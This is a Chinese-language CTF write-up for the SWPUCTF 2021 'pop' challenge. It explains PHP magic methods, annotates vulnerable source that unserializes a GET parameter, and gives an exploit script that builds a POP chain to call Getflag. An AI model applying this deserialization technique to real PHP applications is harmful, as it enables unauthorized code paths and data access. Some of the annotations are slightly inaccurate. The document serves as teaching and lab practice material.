[SWPUCTF 2021 新生赛]pop

 常见的魔术方法

魔术方法

__construct()	类的构造函数，在对象实例化时调用
__destruct()	类的析构函数，在对象被销毁时被调用
__call()		在对象中调用一个不可访问的对象时被调用，比如一个对象被调用时，里面没有程序想调用的属性
__get()			个人觉得和call函数类似
__isset()		当一个对象调用isset()或empty()时被调用
__sleep()		执行serialize()时，先会调用这个函数
__wakeup()		执行unserialize()时，先会调用这个函数，改属性键值可绕过
__toString()	类被当成字符串时被调用，如出现echo或者pre_match时
__invoke()		以函数的形式调用一个对象时被调用
__clone()		出现clone函数，会被调用

 源码

# 源码

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

源码解读 

# 注释版

<?php

error_reporting(0); // 定义报错等级为0，也就说不显示代码报错！
show_source("index.php"); // 显示index.php源码！

class w44m{ # 定义类 w44m 

    private $admin = 'aaa'; // 定义私有成员变量为admin，值为aaa
    protected $passwd = '123456'; // 定义私有成员变量为passwd，值为123456

    public function Getflag(){ // 定义公共方法 Getflag
        if($this->admin === 'w44m' && $this->passwd ==='08067'){ // 判断这两个私有成员变量的值是否为 w44m \ 08067
            include('flag.php'); // 如果满足if条件语句，则包含flag.php文件！
            echo $flag;  // 并输出变量flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono'; // 否则，就打印当前私有变量admin、passwd 输入的字符值！
        }
    }
}

class w22m{ // 定义 w22m类
    public $w00m;
    public function __destruct(){ // w22m类中的析构函数为空，这意味着在对象被销毁时不会执行任何特定的操作 !  // 类的析构函数，在对象被销毁时被调用！
        echo $this->w00m; // 
    }
        /*
        $this->w00m->{$this->w22m}();会调用函数，所以只需要给$w00m赋一个w44m类，然后再给w22m赋一个Getflag就能成功调用该函数。
        */
}

class w33m{ // 定义 w33m类
    public $w00m;
    public $w22m;
    public function __toString(){ # 类被当成字符串时被调用，如出现echo或者pre_match时
        $this->w00m->{$this->w22m}();
        return 0;
        /*
        再再考虑一下如何调用这个w33m类呢？？上面写过__toString()这个方法会在一个对象被当作字符串时被调用，
        于是我们就能看到w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类，就能调用。
        */

    }
}

/*
$this->w00m：访问存储在属性 $w00m 中的对象。
->{$this->w22m}：调用存储在属性 $w22m 中的方法名对应的方法，作用于从 $w00m 获取的对象上。
动态地在一个对象上调用一个方法，其中对象和方法名分别由类 w33m 内的属性 $w00m 和 $w22m 确定。
*/


// 这一题就是构造pop链！
# w44m类用于读取flag，所以是这条链的尾部！
# 对象被销毁时候会调用析构函数 __destruct() ,所以w22m是头部！
# 那么w33m 就是中间部分了！


$w00m = $_GET['w00m']; // 注意 ，这里传参为 w00m
unserialize($w00m); // 序列化！

?>

 exp脚本

# exp

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a = new w22m;
$a -> w00m = new w33m;
$a -> w00m -> w00m = new w44m;
$a -> w00m -> w22m = 'Getflag';

echo serialize($a)
?>

构造pop链！第一次做觉得难，多做几次，就简单了！